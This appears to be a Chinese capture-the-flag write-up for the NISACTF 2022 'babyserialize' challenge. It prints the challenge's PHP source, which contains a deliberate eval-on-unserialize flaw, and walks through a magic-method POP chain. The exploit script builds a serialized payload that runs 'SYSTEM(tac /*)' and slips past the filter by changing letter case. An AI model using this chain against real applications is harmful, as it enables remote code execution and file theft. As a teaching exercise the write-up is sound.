[NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize wp

题目代码:

复制代码
 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

首先回顾一下 php 全部魔术方法及其触发条件

复制代码
__construct()-- 在创建对象时调用,用于初始化对象的属性和方法。
__destruct() -- 在对象销毁时调用,用于释放资源和清理操作。
__call(args) -- 在调用一个不存在的方法时触发。
__callStatic(args) -- 在调用一个不存在的静态方法时触发。
__get($name) -- 在访问一个不存在的属性时触发。
__set(value) -- 在给一个不存在的属性赋值时触发。给私有属性,受保护属性赋值也能触发。
__isset($name) -- 在判断一个不存在的属性是否存在时触发。
__unset($name) -- 在销毁一个不存在的属性时触发。
__sleep() -- 在序列化一个对象时触发。
__wakeup() -- 在反序列化一个对象时触发。
__toString() -- 在将对象转换为字符串时触发。echo,print,die,strtolower等函数触发,还有弱比较 == 也能触发。
__invoke($args) -- 在将对象作为函数调用时触发。
__set_state($properties) -- 在使用var_export()导出类时触发。
__clone() -- 在将对象复制时触发。
__debugInfo() -- 在使用var_dump()函数打印对象时触发。

获取提示信息

直接传入一个序列化的 NISA 类的对象就可以触发,提示 flag 在根目录下。

根据这些,构造本题的 pop 链:

首先,eval 函数在 NISA 类的 __invoke() 方法中。

NISA 类的 __invoke() 方法在 Ilovetxw 类的 __toString() 方法中可以触发。只需要将 $bb() 赋值为 NISA 类的对象。

Ilovetxw 类的 __toString() 方法在 four 类的 __set 方法中可以触发。strtolower 函数在处理对象时会触发该对象的 __toString() 魔术方法,那么只需要将 $this->a 赋值为 Ilovetxw 类的对象。

four 类的 __set 方法在 Ilovetxw 类的 __call 方法中可以触发。将 $this->huang 赋值为 four 类的对象,那么 $this->huang->fun 将访问 four 类的私有属性 fun ,就会触发 __set 方法。

Ilovetxw 类的 __call 方法在 TianXiWei 类的 __wakeup() 方法中可以触发。只需将 $this->ext 赋值为 Ilovetxw 类的对象,那么 $this->ext->nisa($this->x) 就会访问对象中不存在的方法 nisa

最后,TianXiWei 类的 __wakeup() 方法在反序列化时触发。

由此,构造出以下代码:

复制代码
<?php
class NISA{
    public $fun = 'a';
    public $txw4ever = 'SYSTEM(tac /*)';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}

$demo = new TianXiWei;
$demo->ext = new Ilovetxw;
//$demo->x = "sixsixsix";
$demo->ext->huang = new four;
$demo->ext->huang->a = new Ilovetxw;
$demo->ext->huang->a->su = new NISA;
echo serialize($demo);

本题中,four 类的 __set 方法中的判断:if ($this->fun = "sixsixsix") 由于用的是一个等号,为赋值,故该表达式恒为真,所以没必要赋值 $demo->x = "sixsixsix";

NISA 类的 $fun 属性的值要改一下,避免触发提示。

本题中存在防火墙 waf.php ,用大小写绕过就好了。

相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理6 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行6 天前
网络安全总结
安全·web安全
QQ5110082856 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php